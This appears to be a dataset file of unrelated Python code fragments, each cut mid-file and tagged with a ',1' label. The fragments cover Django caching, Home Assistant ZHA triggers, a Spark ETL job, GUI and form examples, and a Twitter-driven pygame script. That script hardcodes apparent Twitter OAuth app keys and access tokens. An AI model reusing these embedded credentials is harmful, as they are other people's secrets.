result = self._no_monkey.execute(self, sql, params) if transaction_states[self.db.alias] and is_sql_dirty(sql): transaction_states[self.db.alias].mark_dirty() return result def executemany(self, sql, param_list): result = self._no_monkey.executemany(self, sql, param_list) if transaction_states[self.db.alias] and is_sql_dirty(sql): transaction_states[self.db.alias].mark_dirty() return result CHARS = set('abcdefghijklmnoprqstuvwxyz_') def is_sql_dirty(sql): # This should not happen as using bytes in Python 3 is against db protocol, # but some people will pass it anyway if isinstance(sql, bytes): sql = sql.decode() # NOTE: not using regex here for speed sql = sql.lower() for action in ('update', 'insert', 'delete'): p = sql.find(action) if p == -1: continue start, end = p - 1, p + len(action) if (start < 0 or sql[start] not in CHARS) and (end >= len(sql) or sql[end] not in CHARS): return True else: return False @once def install_cacheops_transaction_support(): monkey_mix(Atomic, AtomicMixIn) monkey_mix(CursorWrapper, CursorWrapperMixin) ",1 "CodeExecution("""""" class FileLikeObject: def __init__(self): self.buffer = '' def write(self, content): self.buffer = self.buffer + (content * 2) out = FileLikeObject() print('hello', 'world', file=out) print('goodbye', 'world', file=out) print() """""") def test_sep(self): self.assertCodeExecution("""""" print('hello world', 'goodbye world', sep='-') print() """""") def test_end(self): self.assertCodeExecution("""""" print('hello world', 'goodbye world', end='-') print() """""") def test_flush(self): self.assertCodeExecution("""""" print('hello world', 'goodbye world', flush=True) print() """""") def test_combined(self): self.assertCodeExecution("""""" class FileLikeObject: def __init__(self): self.buffer = '' def write(self, content): self.buffer = self.buffer + (content * 2) def flush(self): self.buffer = self.buffer + '<<<' out = FileLikeObject() print('hello', 'world', sep='*', end='-', file=out, flush=True) print('goodbye', 'world', file=out, sep='-', end='*') print() """""") class BuiltinPrintFunctionTests(BuiltinFunctionTestCase, TranspileTestCase): functions = [""print""] not_implemented = [ 'test_class', 'test_frozenset', 'test_slice', ] ",1 "---------------------------------------------- # Import custom modules #----------------------------------------------------------------------------- # Add pyscope module to path path = os.path.join(os.path.dirname(__file__), 'py_apps/pyscope') sys.path.append(path) # Add twit_feed module to path path = os.path.join(os.path.dirname(__file__), '../py_apps/twit_feed') sys.path.append(path) import pyscope import twit_feed #import tf_test_02 #----------------------------------------------------------------------------- # Constants #----------------------------------------------------------------------------- MAX_ENTRIES = 1 FPS = 5 BET_TERM = ['#testing', '#blargz'] #['@Gr8AmTweetRace'] AUTH = { 'app_key': 'li8wn8Tb7xBifCnNIgyqUw', 'app_secret': 'vcwq36w4C4VXamlqWBDKM2E8etsOoangDoMhxNDU', 'oauth_token': '1969690717-rGw3VkRQ8IyL4OcPWtv5Y2CeBdVn8ndJrjGKraI', 'oauth_token_secret': 'KO7YIFMKWKaYTtz2zEyaSy044ixj5kIbWrDtZZL96ly0H'} # Common colors WHITE = 255,255,255 GREEN = 0,255,0 BLACK = 0,0,0 BLUE = 0,0,255 RED = 255,0,0 #----------------------------------------------------------------------------- # Global Variables #----------------------------------------------------------------------------- g_terms = [] g_bet_loop = None g_scope = None #----------------------------------------------------------------------------- # Functions #----------------------------------------------------------------------------- # Handle graphics on the screen def draw_starting_screen(): global g_terms global g_scope # Create fonts font_mode = pygame.font.Font(None, 68) font_title_1 = pygame.font.Font(None, 68) font_title_2 = pygame.font.Font(None, 68) font_instr_1 = pygame.font.Font(None, 36) font_instr_2 = pygame.font.Font(None, 36) font_ent_title = pygame.font.Font(None, 36) font_ent = pygame.font.Font(None, 36) # Create background rect_bg = pygame.draw.rect(g_scope.screen, BLACK, \ (0, 0, 540, 960), 0) rect_title = pygame.draw.rect(g_scope.screen, WHITE, \ (20, 20, 500, 100), 0) rect_game_mode = pygame.draw.rect(g_scope.screen, WHITE, \ (20, 140, 500, 60), 0) rect_instructions = pygame.draw.rect(g_scope.screen, WHITE, \ (20, 220, 500, 100), 0) rect_tweets = pygame.draw.rect(g_scope.screen, WHITE, \ (20, 340, 500, 300), 0) # Draw title title1 = ""The Great American"" title2 = ""Tweet Race"" text_title_1 = font_title_1.render(title1,1,BLACK) text_title_2 = font_title_2.render(title2,1,BLACK) g_scope.screen.blit(text_title_1, (40, 25)) g_scope.screen.blit(text_title_2, (130, 70)) # Draw game mode mode_str = font_mode.render('Starting Gate',1,BLACK) g_scope.screen.blit(mode_str, (115, 140)) # Draw instructions instr_str_1 = 'Send a tweet to @Gr8AmTweetRace' instr_str_2 = 'with a #term to enter!' instr_1 = font_instr_1.render(instr_str_1,1,BLACK) instr_2 = font_instr_2.render(instr_str_2,1,BLACK) g_scope.screen.blit(instr_1, (40, 240)) g_scope.screen.blit(instr_2, (40, 270)) # Draw entrants ent_title = font_ent_title.render('Contestants',1,BLACK) g_scope.screen.blit(ent_title, (40, 360)) ent_y = 390 for i in range(0, MAX_ENTRIES): ent_str = ''.join([str(i + 1), ': ']) if i < len(g_terms): ent_str = ''.join([ent_str, g_terms[i]]) ent_disp = font_ent.render(ent_str,1,BLACK) g_scope.screen.blit(ent_disp, (40, 390 + (i * 30))) # Test if a term is already in the term list def is_in_terms(entry): global g_terms for term in g_terms: if ''.join(['#', entry]) == term: return True return False #----------------------------------------------------------------------------- # Main #----------------------------------------------------------------------------- def main(): global g_bet_loop global g_scope global g_terms # Setup Twitter streamer tf = twit_feed.TwitFeed(AUTH) #tf = tf_test_02.TwitFeed(AUTH) # Tweet that we are accepting bets # Start streamer to search for terms tf.start_track_streamer(BET_TERM) # Setup display pygame.init() #g_scope = pyscope.pyscope() fps_clock = pygame.time.Clock() pygame.mouse.set_visible(False) # Main game loop g_bet_loop = False while g_bet_loop: # Handle game events for event in pygame.event.get(): # End game if quit event raises if event.type == pygame.QUIT: g_bet_loop = False # End game if 'q' or 'esc' key pressed elif event.type == pygame.KEYDOWN: if event.key == pygame.K_q or event.key == pygame.K_ESCAPE: g_bet_loop = False # Get entries and print them entries = tf.get_entries() for entry in entries: print entry if is_in_terms(entry) == False: g_terms.append(''.join(['#', entry])) print len(g_terms) if len(g_terms) >= MAX_ENTRIES: print 'breaking' g_bet_loop = False # Update screen draw_starting_screen() pygame.display.update() fps_clock.tick(FPS) # Clean up Twitter feed and pygame print str(pygame.time.get_ticks()) tf.stop_tracking() print str(pygame.time.get_ticks()) pygame.quit() # Print terms print 'Search terms: ', g_terms # Run main main() ",1 "t from homeassistant.components.device_automation import TRIGGER_BASE_SCHEMA from homeassistant.components.device_automation.exceptions import ( InvalidDeviceAutomationConfig, ) from homeassistant.const import CONF_DEVICE_ID, CONF_DOMAIN, CONF_PLATFORM, CONF_TYPE from . import DOMAIN from .core.helpers import async_get_zha_device CONF_SUBTYPE = ""subtype"" DEVICE = ""device"" DEVICE_IEEE = ""device_ieee"" ZHA_EVENT = ""zha_event"" TRIGGER_SCHEMA = TRIGGER_BASE_SCHEMA.extend( {vol.Required(CONF_TYPE): str, vol.Required(CONF_SUBTYPE): str} ) async def async_validate_trigger_config(hass, config): """"""Validate config."""""" config = TRIGGER_SCHEMA(config) if ""zha"" in hass.config.components: trigger = (config[CONF_TYPE], config[CONF_SUBTYPE]) try: zha_device = await async_get_zha_device(hass, config[CONF_DEVICE_ID]) except (KeyError, AttributeError): raise InvalidDeviceAutomationConfig if ( zha_device.device_automation_triggers is None or trigger not in zha_device.device_automation_triggers ): raise InvalidDeviceAutomationConfig return config async def async_attach_trigger(hass, config, action, automation_info): """"""Listen for state changes based on configuration."""""" trigger = (config[CONF_TYPE], config[CONF_SUBTYPE]) try: zha_device = await async_get_zha_device(hass, config[CONF_DEVICE_ID]) except (KeyError, AttributeError): return None if trigger not in zha_device.device_automation_triggers: return None trigger = zha_device.device_automation_triggers[trigger] event_config = { event.CONF_PLATFORM: ""event"", event.CONF_EVENT_TYPE: ZHA_EVENT, event.CONF_EVENT_DATA: {DEVICE_IEEE: str(zha_device.ieee), **trigger}, } event_config = event.TRIGGER_SCHEMA(event_config) return await event.async_attach_trigger( hass, event_config, action, automation_info, platform_type=""device"" ) async def async_get_triggers(hass, device_id): """"""List device triggers. Make sure the device supports device automations and if it does return the trigger list. """""" zha_device = await async_get_zha_device(hass, device_id) if not zha_device.device_automation_triggers: return triggers = [] for trigger, subtype in zha_device.device_automation_triggers.keys(): triggers.append( { CONF_DEVICE_ID: device_id, CONF_DOMAIN: DOMAIN, CONF_PLATFORM: DEVICE, CONF_TYPE: trigger, CONF_SUBTYPE: subtype, } ) return triggers ",1 "If a copy of the MPL was not distributed with this file, # You can obtain one at http://mozilla.org/MPL/2.0/. # # Copyright (C) 2011-2014 Star2Billing S.L. # # The Initial Developer of the Original Code is # Arezqui Belaid # from django.template.defaultfilters import register from appointment.constants import EVENT_STATUS, ALARM_STATUS, ALARM_METHOD @register.filter(name='event_status') def event_status(value): """"""Event Status Templatetag"""""" if not value: return '' STATUS = dict(EVENT_STATUS) try: return STATUS[value].encode('utf-8') except: return '' @register.filter(name='alarm_status') def alarm_status(value): """"""Alarm Status Templatetag"""""" if not value: return '' STATUS = dict(ALARM_STATUS) try: return STATUS[value].encode('utf-8') except: return '' @register.filter(name='alarm_method') def alarm_method(value): """"""Alarm Method Templatetag"""""" if not value: return '' METHOD = dict(ALARM_METHOD) try: return METHOD[value].encode('utf-8') except: return '' ",1 "BaseNamespace from DataAggregation.webdata_aggregator import getAvailableWorkshops logger = logging.getLogger(__name__) std_out_logger = logging.StreamHandler(sys.stdout) logger.addHandler(std_out_logger) def broadcast_msg(server, ns_name, event, *args): pkt = dict(type=""event"", name=event, args=args, endpoint=ns_name) for sessid, socket in server.sockets.iteritems(): socket.send_packet(pkt) def workshops_monitor(server): sizes = [] workshops = getAvailableWorkshops() for w in workshops: tmp = [w.workshopName, w.q.qsize()] sizes.append(tmp) broadcast_msg(server, '', ""sizes"", tmp) while True: logger.info(""Participants viewing frontend:"" + str(len(server.sockets))) workshops_available = [] curr_workshops = getAvailableWorkshops() for w in curr_workshops: workshops_available.append([w.workshopName, w.q.qsize()]) wq = filter(lambda x: x[0] == w.workshopName, sizes)[0] if wq[1] != w.q.qsize(): wq[1] = w.q.qsize() logging.info(""client_updater: New update being pushed to clients: "" + str(wq)) broadcast_msg(server, '', 'sizes', wq) logger.info(""Workshops available:"" + str(workshops_available)) time.sleep(1) class RequestHandlerApp(object): def __call__(self, environ, start_response): if environ['PATH_INFO'].startswith('/socket.io'): socketio_manage(environ, {'': QueueStatusHandler}) class QueueStatusHandler(BaseNamespace, BroadcastMixin): def on_connect(self): sizes = [] workshops = getAvailableWorkshops() for w in workshops: tmp = [w.workshopName, w.q.qsize()] sizes.append(tmp) self.emit('sizes', tmp) ",1 "etime, timedelta import sys, re, os st = datetime.now() conf = SparkConf().setAppName('PROC_A_SUBJECT_D002015').setMaster(sys.argv[2]) sc = SparkContext(conf = conf) sc.setLogLevel('WARN') if len(sys.argv) > 5: if sys.argv[5] == ""hive"": sqlContext = HiveContext(sc) else: sqlContext = SQLContext(sc) hdfs = sys.argv[3] dbname = sys.argv[4] #处理需要使用的日期 etl_date = sys.argv[1] #etl日期 V_DT = etl_date #上一日日期 V_DT_LD = (date(int(etl_date[0:4]), int(etl_date[4:6]), int(etl_date[6:8])) + timedelta(-1)).strftime(""%Y%m%d"") #月初日期 V_DT_FMD = date(int(etl_date[0:4]), int(etl_date[4:6]), 1).strftime(""%Y%m%d"") #上月末日期 V_DT_LMD = (date(int(etl_date[0:4]), int(etl_date[4:6]), 1) + timedelta(-1)).strftime(""%Y%m%d"") #10位日期 V_DT10 = (date(int(etl_date[0:4]), int(etl_date[4:6]), int(etl_date[6:8]))).strftime(""%Y-%m-%d"") V_STEP = 0 ACRM_F_CI_ASSET_BUSI_PROTO = sqlContext.read.parquet(hdfs+'/ACRM_F_CI_ASSET_BUSI_PROTO/*') ACRM_F_CI_ASSET_BUSI_PROTO.registerTempTable(""ACRM_F_CI_ASSET_BUSI_PROTO"") #任务[21] 001-01:: V_STEP = V_STEP + 1 sql = """""" SELECT CAST(A.CUST_ID AS VARCHAR(32)) AS CUST_ID ,CAST('' AS VARCHAR(20)) AS ORG_ID --插入的空值,包顺龙2017/05/13 ,CAST('D002015' AS VARCHAR(20)) AS INDEX_CODE ,CAST(SUM(TAKE_CGT_LINE) AS DECIMAL(22,2)) AS INDEX_VALUE ,CAST(SUBSTR(V_DT, 1, 7) AS VARCHAR(7)) AS YEAR_MONTH ,CAST(V_DT AS DATE) AS ETL_DATE ,CAST(A.CUST_TYP AS VARCHAR(5)) AS CUST_TYPE ,CAST(A.FR_ID AS VARCHAR(5)) AS FR_ID FROM ACRM_F_CI_ASSET_BUSI_PROTO A WHERE A.BAL > 0 AND A.LN_APCL_FLG = 'N' AND(A.PRODUCT_ID LIKE '1010%' OR A.PRODUCT_ID LIKE '1030%' OR A.PRODUCT_ID LIKE '1040%' OR A.PRODUCT_ID LIKE '1050%' OR A.PRODUCT_ID LIKE '1060%' OR A.PRODUCT_ID LIKE '1070%' OR A.PRODUCT_ID LIKE '2010%' OR A.PRODUCT_ID LIKE '2020%' OR A.PRODUCT_ID LIKE '2030%' OR A.PRODUCT_ID LIKE '2040%' OR A.PRODUCT_ID LIKE '2050%') GROUP BY A.CUST_ID ,A.CUST_TYP ,A.FR_ID """""" sql = re.sub(r""\bV_DT\b"", ""'""+V_DT10+""'"", sql) ACRM_A_TARGET_D002015 = sqlContext.sql(sql) ACRM_A_TARGET_D002015.registerTempTable(""ACRM_A_TARGET_D002015"") dfn=""ACRM_A_TARGET_D002015/""+V_DT+"".parquet"" ACRM_A_TARGET_D002015.cache() nrows = ACRM_A_TARGET_D002015.count() ACRM_A_TARGET_D002015.write.save(path=hdfs + '/' + dfn, mode='overwrite') ACRM_A_TARGET_D002015.unpersist() ACRM_F_CI_ASSET_BUSI_PROTO.unpersist() ret = os.system(""hdfs dfs -rm -r /""+dbname+""/ACRM_A_TARGET_D002015/""+V_DT_LD+"".parquet"") et = datetime.now() print(""Step %d start[%s] end[%s] use %d seconds, insert ACRM_A_TARGET_D002015 lines %d"") % (V_STEP, st.strftime(""%H:%M:%S""), et.strftime(""%H:%M:%S""), (et-st).seconds, nrows) ",1 "h the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import absolute_import from rigour.errors import ValidationFailed from rigour.types import * from rigour.constraints import length_between import rigour import pytest def test_secrecy_declared_before(): t = String().secret().constrain(length_between(4,6)) with pytest.raises(ValidationFailed) as excinfo: t.check(""xxx"") message = str(excinfo) assert ""xxx"" not in message def test_secrecy_declared_after(): t = String().constrain(length_between(4,6)).secret() with pytest.raises(ValidationFailed) as excinfo: t.check(""xxx"") message = str(excinfo) assert ""xxx"" not in message ",1 " = $Author: stefan $ #-------------------------------------------------- from pluginInterfaces import PluginFit, Parameter,leastsqFit import numpy as np class PluginFitThreeBodyBeta(PluginFit): def __init__(self): pass def fit(self,array,errarray,param,xmin=0,xmax=0, fitAxes=[]): """"""return the data that is needed for plotting the fitting result"""""" """"""0...a, 1...xc, 2...k, 3...y0"""""" self.params = [Parameter(v) for v in param] def f(x): return self.params[0]()/(1+np.exp(-(x-self.params[1]())/self.params[2]()))+self.params[3]() self.simpleFitAllAxes(f,array,errarray,xmin,xmax, fitAxes) return self.generateDataFromParameters(f,[np.amin(array[0,:]),np.amax(array[0,:])], np.size(fitAxes)+1, xmin, xmax, fitAxes) def getInitialParameters(self,data): """"""find the best initial values and return them"""""" dx = np.abs(data[0,0] - data[0,-1]) mi = np.amin(data[1,:]) ma = np.amax(data[1,:]) xc = (np.amax(data[0,:])-np.amin(data[0,:]))/2+np.amin(data[0,:]) return [ma-mi,xc,dx*2,mi] def getParameters(self): """"""return the fit parameters"""""" return np.array([""a"",""xc"",""dx"",""y0""]) def getFitModelStr(self): """"""return a string of the implemented fitting model, i.e. 'linear fit (y=A*x +B)'"""""" return ""Sigmoidal"" def getResultStr(self): """"""return a special result, i.e. 'Frequency = blabla'"""""" return ""nothing fitted"" ",1 "nition of module level constants SUCCESS_CODE = 1 FAILURE_CODE = 0 class Strategy(): def __init__(self, n): _success_probability = _generate_success_probability(n) _strategy = {i: p for i, p in enumerate(_success_probability, 1)} self._n = n self.strategy = _strategy self.stock_of_strategy = list(_strategy.keys()) self.tried_strategy = [] self.current_strategy = None self.previous_strategy = None self.count_same_strategy = 0 self._result_of_trial = None def choose_strategy(self): if not self.stock_of_strategy: raise ValueError('There is no strategy in stock.') _chosen_id = random.choice(self.stock_of_strategy, 1)[0] self.previous_strategy = self.current_strategy self.current_strategy = _chosen_id self.count_same_strategy = 0 self.stock_of_strategy.remove(_chosen_id) _chosen_strategy = { 'chosen_strategy': _chosen_id, 'success_probability': self._get_success_probability() } return _chosen_strategy def _get_success_probability(self): return self.strategy[self.current_strategy] def try_strategy(self): if not self.current_strategy: raise ValueError('No strategy is chosen.') self.tried_strategy.append(self.current_strategy) self._result_of_trial = _get_trial_result( p=self._get_success_probability() ) if self.current_strategy == self.previous_strategy: self.count_same_strategy += 1 return self._result_of_trial def _get_trial_result(p): _trial_result = random.choice([FAILURE_CODE, SUCCESS_CODE], size=1, p=[1 - p, p]) return _trial_result[0] def _generate_success_probability(size): return random.sample(size) ",1 "the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 3.0 of the License, or (at your option) any later version. .15925 Editor is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with .15925 Editor. """""" from iso15926.tools.environment import EnvironmentContext from PySide.QtCore import * from PySide.QtGui import * import os from framework.dialogs import Choice class TestWindow(QDialog): vis_label = tm.main.tests_title tests_dir = 'tests' def __init__(self): QDialog.__init__(self, appdata.topwindow, Qt.WindowSystemMenuHint | Qt.WindowTitleHint) self.setWindowTitle(self.vis_label) layout = QVBoxLayout(self) box = QGroupBox(tm.main.tests_field, self) self.tests_list = QListWidget(box) boxlayout = QHBoxLayout(box) boxlayout.addWidget(self.tests_list) layout.addWidget(box) for n in os.listdir(self.tests_dir): if n.startswith(""."") or not n.endswith('.py'): continue sp = os.path.splitext(n) item = QListWidgetItem(sp[0], self.tests_list) item.setCheckState(Qt.Unchecked) self.btn_prepare = QPushButton(tm.main.prepare, self) self.btn_prepare.setToolTip(tm.main.prepare_selected_tests) self.btn_prepare.clicked.connect(self.OnPrepare) self.btn_run = QPushButton(tm.main.run, self) self.btn_run.setToolTip(tm.main.run_selected_tests) self.btn_run.clicked.connect(self.OnRun) self.btn_sel_all = QPushButton(tm.main.select_all, self) self.btn_sel_all.clicked.connect(self.SelectAll) self.btn_unsel_all = QPushButton(tm.main.unselect_all, self) self.btn_unsel_all.clicked.connect(self.UnselectAll) self.btn_cancel = QPushButton(tm.main.cancel, self) self.btn_cancel.clicked.connect(self.reject) btnlayout = QHBoxLayout() btnlayout.addWidget(self.btn_sel_all) btnlayout.addWidget(self.btn_unsel_all) btnlayout.addStretch() btnlayout.addWidget(self.btn_prepare) btnlayout.addWidget(self.btn_run) btnlayout.addWidget(self.btn_cancel) layout.addLayout(btnlayout) box = QGroupBox(tm.main.tests_result_field, self) self.report = QPlainTextEdit(self) boxlayout = QHBoxLayout(box) boxlayout.addWidget(self.report) layout.addWidget(box) self.exec_() def SelectAll(self): self.tests_list.SetChecked([x for x in xrange(self.tests_list.Count)]) def UnselectAll(self): self.tests_list.SetChecked([]) def OnPrepare(self): if Choice(tm.main.tests_prepare_warning): for k in self.tests_list.CheckedStrings: self.report.AppendText(tm.main.tests_preparing.format(k)) locals = {'mode': 'prepare'} ec = EnvironmentContext(None, locals) ec.ExecutePythonFile(os.path.join(self.tests_dir, k + '.py')) self.report.AppendText(tm.main.tests_preparing_done) def OnRun(self): all_passed = True self.report.appendPlainText(tm.main.tests_running) count = 0 passed = 0 for i in xrange(self.tests_list.count()): item = self.tests_list.item(i) name = item.text() if not item.checkState() == Qt.Checked: continue count += 1 locals = {'mode': 'run', 'passed': False} ec = EnvironmentContext(None, locals) ec.ExecutePythonFile(os.path.join(self.tests_dir, name + '.py')) if locals['passed']: passed += 1 self.report.appendPlainText(tm.main.test_passed.format(name)) else: self.report.appendPlainText(tm.main.test_failed.format(name)) self.report.appendPlainText(tm.main.tests_result) self.report.appendPlainText(tm.main.tests_result_info.format(passed, count)) if os.path.exists(TestWindow.tests_dir): @public('workbench.menu.help') class xTestMenu: vis_label = tm.main.menu_tests @classmethod def Do(cls): TestWindow() ",1 "ort Form, RecaptchaField from flask_wtf.file import FileField from wtforms import TextField, HiddenField, ValidationError, RadioField,\ BooleanField, SubmitField, IntegerField, FormField, validators from wtforms.validators import Required # straight from the wtforms docs: class TelephoneForm(Form): country_code = IntegerField('Country Code', [validators.required()]) area_code = IntegerField('Area Code/Exchange', [validators.required()]) number = TextField('Number') class ExampleForm(Form): field1 = TextField('First Field', description='This is field one.') field2 = TextField('Second Field', description='This is field two.', validators=[Required()]) hidden_field = HiddenField('You cannot see this', description='Nope') recaptcha = RecaptchaField('A sample recaptcha field') radio_field = RadioField('This is a radio field', choices=[ ('head_radio', 'Head radio'), ('radio_76fm', ""Radio '76 FM""), ('lips_106', 'Lips 106'), ('wctr', 'WCTR'), ]) checkbox_field = BooleanField('This is a checkbox', description='Checkboxes can be tricky.') # subforms mobile_phone = FormField(TelephoneForm) # you can change the label as well office_phone = FormField(TelephoneForm, label='Your office phone') ff = FileField('Sample upload') submit_button = SubmitField('Submit Form') def validate_hidden_field(form, field): raise ValidationError('Always wrong') def create_app(configfile=None): app = Flask(__name__) AppConfig(app, configfile) # Flask-Appconfig is not necessary, but # highly recommend =) # https://github.com/mbr/flask-appconfig Material_Lite(app) # in a real app, these should be configured through Flask-Appconfig app.config['SECRET_KEY'] = 'devkey' app.config['RECAPTCHA_PUBLIC_KEY'] = \ '6Lfol9cSAAAAADAkodaYl9wvQCwBMr3qGR_PPHcw' @app.route('/', methods=('GET', 'POST')) def index(): form = ExampleForm() form.validate_on_submit() # to get error messages to the browser flash('critical message', 'critical') flash('error message', 'error') flash('warning message', 'warning') flash('info message', 'info') flash('debug message', 'debug') flash('different message', 'different') flash('uncategorized message') return render_template('index.html', form=form) return app if __name__ == '__main__': create_app().run(debug=True) ",1 "Jinja2 tracebacks PRODUCTION_MODE = not os.environ.get( 'SERVER_SOFTWARE', 'Development').startswith('Development') ROOT_DIRECTORY = os.path.dirname(__file__) if not PRODUCTION_MODE: from google.appengine.tools.devappserver2.python import sandbox sandbox._WHITE_LIST_C_MODULES += ['_ctypes', 'gestalt'] TEMPLATE_DIRECTORY = os.path.join(ROOT_DIRECTORY, 'src') else: TEMPLATE_DIRECTORY = os.path.join(ROOT_DIRECTORY, 'dist') curr_path = os.path.abspath(os.path.dirname(__file__)) config = { 'webapp2_extras.sessions': { 'secret_key': secrets.COOKIE_KEY, 'session_max_age': SECS_PER_WEEK, 'cookie_args': {'max_age': SECS_PER_WEEK}, 'cookie_name': 'echo_sense_session' }, 'webapp2_extras.jinja2': { 'template_path': TEMPLATE_DIRECTORY } } app = webapp2.WSGIApplication( [ # Cron jobs (see cron.yaml) webapp2.Route('/cron/monthly', handler=cronActions.Monthly), webapp2.Route(r'/<:.*>', handler=views.ActionPotentialApp, name=""ActionPotentialApp""), ], debug=True, config=config) ",1 "g from waflib.Configure import conf # _heptooldir = osp.dirname(osp.abspath(__file__)) def options(opt): opt.load('hwaf-base', tooldir=_heptooldir) opt.add_option( '--with-cmake', default=None, help=""Look for CMake at the given path"") return def configure(conf): conf.load('hwaf-base', tooldir=_heptooldir) return @conf def find_cmake(ctx, **kwargs): if not ctx.env.HWAF_FOUND_C_COMPILER: ctx.fatal('load a C compiler first') pass if not ctx.env.HWAF_FOUND_CXX_COMPILER: ctx.fatal('load a C++ compiler first') pass path_list = waflib.Utils.to_list(kwargs.get('path_list', [])) if getattr(ctx.options, 'with_cmake', None): topdir = ctx.options.with_cmake topdir = ctx.hwaf_subst_vars(topdir) path_list.append(osp.join(topdir, ""bin"")) pass kwargs['path_list'] = path_list ctx.find_program( ""cmake"", var=""CMAKE"", **kwargs) kwargs['mandatory'] = False ctx.find_program( ""ccmake"", var=""CCMAKE"", **kwargs) ctx.find_program( ""cpack"", var=""CPACK"", **kwargs) ctx.find_program( ""ctest"", var=""CTEST"", **kwargs) version=""N/A"" cmd = [ctx.env.CMAKE, ""--version""] lines=ctx.cmd_and_log(cmd).splitlines() for l in lines: l = l.lower() if ""version"" in l: version=l[l.find(""version"")+len(""version""):].strip() break pass ctx.start_msg(""CMake version"") ctx.end_msg(version) ctx.hwaf_declare_runtime_env('CMAKE') ctx.env.CMAKE_HOME = osp.dirname(osp.dirname(ctx.env.CMAKE)) ctx.env.CMAKE_VERSION = version ctx.env.HWAF_FOUND_CMAKE = 1 return ## EOF ## ",1 " program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. # #------------------------------------------------------------------------- # # Python classes # #------------------------------------------------------------------------- from gramps.gen.const import GRAMPS_LOCALE as glocale _ = glocale.translation.sgettext #------------------------------------------------------------------------- # # GTK classes # #------------------------------------------------------------------------- from gi.repository import Gtk from gi.repository import Gdk from gi.repository import GObject from gi.repository import Pango _TAB = Gdk.keyval_from_name(""Tab"") _ENTER = Gdk.keyval_from_name(""Enter"") #------------------------------------------------------------------------- # # Gramps classes # #------------------------------------------------------------------------- from .surnamemodel import SurnameModel from .embeddedlist import EmbeddedList, TEXT_EDIT_COL from ...ddtargets import DdTargets from gramps.gen.lib import Surname, NameOriginType from ...utils import match_primary_mask, no_match_primary_mask # table for skipping illegal control chars INVISIBLE = dict.fromkeys(list(range(32))) #------------------------------------------------------------------------- # # SurnameTab # #------------------------------------------------------------------------- class SurnameTab(EmbeddedList): _HANDLE_COL = 5 _DND_TYPE = DdTargets.SURNAME _MSG = { 'add' : _('Create and add a new surname'), 'del' : _('Remove the selected surname'), 'edit' : _('Edit the selected surname'), 'up' : _('Move the selected surname upwards'), 'down' : _('Move the selected surname downwards'), } #index = column in model. Value = # (name, sortcol in model, width, markup/text _column_names = [ (_('Prefix'), 0, 150, TEXT_EDIT_COL, -1, None), (_('Surname'), 1, -1, TEXT_EDIT_COL, -1, None), (_('Connector'), 2, 100, TEXT_EDIT_COL, -1, None), ] _column_combo = (_('Origin'), -1, 150, 3) # name, sort, width, modelcol _column_toggle = (_('Primary', 'Name'), -1, 80, 4) def __init__(self, dbstate, uistate, track, name, on_change=None, top_label='%s' % _(""Multiple Surnames"") ): self.obj = name self.on_change = on_change self.curr_col = -1 self.curr_cellr = None self.curr_celle = None EmbeddedList.__init__(self, dbstate, uistate, track, _('Family Surnames'), SurnameModel, move_buttons=True, top_label=top_label) def build_columns(self): #first the standard text columns with normal method EmbeddedList.build_columns(self) # now we add the two special columns # combobox for type colno = len(self.columns) name = self._column_combo[0] renderer = Gtk.CellRendererCombo() renderer.set_property('ellipsize', Pango.EllipsizeMode.END) # set up the comboentry editable no = NameOriginType() self.cmborig = Gtk.ListStore(GObject.TYPE_INT, GObject.TYPE_STRING) self.cmborigmap = no.get_map().copy() #sort the keys based on the value keys = sorted(self.cmborigmap, key=lambda x: glocale.sort_key(self.cmborigmap[x])) for key in keys: if key != no.get_custom(): self.cmborig.append(row=[key, self.cmborigmap[key]]) additional = self.dbstate.db.get_origin_types() if additional: for type in additional: if type: self.cmborig.append(row=[no.get_custom(), type]) renderer.set_property(""model"", self.cmborig) renderer.set_property(""text-column"", 1) renderer.set_property('editable', not self.dbstate.db.readonly) renderer.connect('editing_started', self.on_edit_start_cmb, colno) renderer.connect('edited', self.on_orig_edited, self._column_combo[3]) # add to treeview column = Gtk.TreeViewColumn(name, renderer, text=self._column_combo[3]) column.set_resizable(True) column.set_sort_column_id(self._column_combo[1]) column.set_min_width(self._column_combo[2]) column.set_expand(False) self.columns.append(column) self.tree.append_column(column) # toggle box for primary colno += 1 name = self._column_toggle[0] renderer = Gtk.CellRendererToggle() renderer.set_property('activatable', True) renderer.set_property('radio', True) renderer.connect( 'toggled', self.on_prim_toggled, self._column_toggle[3]) # add to treeview column = Gtk.TreeViewColumn(name, renderer, active=self._column_toggle[3]) column.set_resizable(False) column.set_sizing(Gtk.TreeViewColumnSizing.FIXED) column.set_alignment(0.5) column.set_sort_column_id(self._column_toggle[1]) column.set_max_width(self._column_toggle[2]) self.columns.append(column) self.tree.append_column(column) ## def by_value(self, first, second): ## """""" ## Method for sorting keys based on the values. ## """""" ## fvalue = self.cmborigmap[first] ## svalue = self.cmborigmap[second] ## return glocale.strcoll(fvalue, svalue) def setup_editable_col(self): """""" inherit this and set the variables needed for editable columns Variable edit_col_funcs needs to be a dictionary from model col_nr to function to call for Example: self.edit_col_funcs ={1: {'edit_start': self.on_edit_start, 'edited': self.on_edited }} """""" self.edit_col_funcs = { 0: {'edit_start': self.on_edit_start, 'edited': self.on_edit_inline}, 1: {'edit_start': self.on_edit_start, 'edited': self.on_edit_inline}, 2: {'edit_start': self.on_edit_start, 'edited': self.on_edit_inline}} def get_data(self): return self.obj.get_surname_list() def is_empty(self): return len(self.model)==0 def _get_surn_from_model(self): """""" Return new surname_list for storing in the name based on content of the model """""" new_list = [] for idx in range(len(self.model)): node = self.model.get_iter(idx) surn = self.model.get_value(node, 